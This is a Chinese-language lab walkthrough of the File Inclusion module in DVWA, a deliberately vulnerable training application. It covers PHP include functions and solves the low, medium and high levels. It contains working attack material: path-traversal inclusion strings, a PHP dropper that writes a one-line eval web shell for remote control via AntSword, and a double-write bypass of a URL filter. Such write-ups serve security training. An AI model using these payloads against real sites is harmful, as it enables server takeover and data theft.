DVWA靶场——File Inclusion(文件包含漏洞)
1.文件包含漏洞
1.什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
require():可以包含文件,如果包含错了,直接报错并退出程序的执行
include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次
类型:
本地文件包含漏洞与远程文件包含漏洞。
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
2.实验环境
1.在dvwa里第一次测试训练时,会在File Inclusion这里看到“The PHP function allow_url_include is not enabled”这个的报错提醒,这个提示告诉我们PHP函数allow_url_include还未启用.
2.在设置中找到对应版本,将其中allow_url_include打开。
3.此时回去发现没有报错了。
low
1.首先查看源码发现没有任何过滤。可以看出服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
2.点开file1.php和其他的只有page=后面的发生了变化,因此可以将page后的参数视为可控字段。
3.文件包含是在url通过GET传参的方式获取文件,我们用 / 查看一下上下级目录,发现可以直接获取服务器文件路径。
输入?page=../../phpinfo.php 可以看到php的具体信息。
4. 我们在C盘创建一个txt文档。
在url里面尝试上传包含本地文件 C://h.txt
成功输出k.txt文件内容 只有php文件会解析运行。其他的只会原封不动的输出出来。
利用漏洞
1.新建 txt文件上传一句话木马,进入文件上传File Upload,进行木马文件上传。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
改h.txt文件后缀为.php 。
2将其上传,并复制下路径。
3. 复制链接 ../../hackable/uploads/pp.php到文件包含,发现没有报错,文件解析成功。
4.根据路径到dvwa的文件包括目录,发现生成了shell.php文件。
5.打开蚁剑,添加链接,把地址带有木马shell.php的链接复制过来,密码就是我们木马post里面写的的密码pass,直接连接。
medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", ".."" ), "", $file );
?>
发现使用str_replace对http://,https:// 替换成空,对于str_replace函数进行的过滤,可以使用双写进行绕过。
httphttp://://
?page=HttHttp://p://test1/h.txt
high
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
源码中限制了文件名来防止恶意文件包含,并且!fnmatch( "file*", $file )代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件,这样我们就远程访问不了了。
注意:file:///后面一定是绝对路径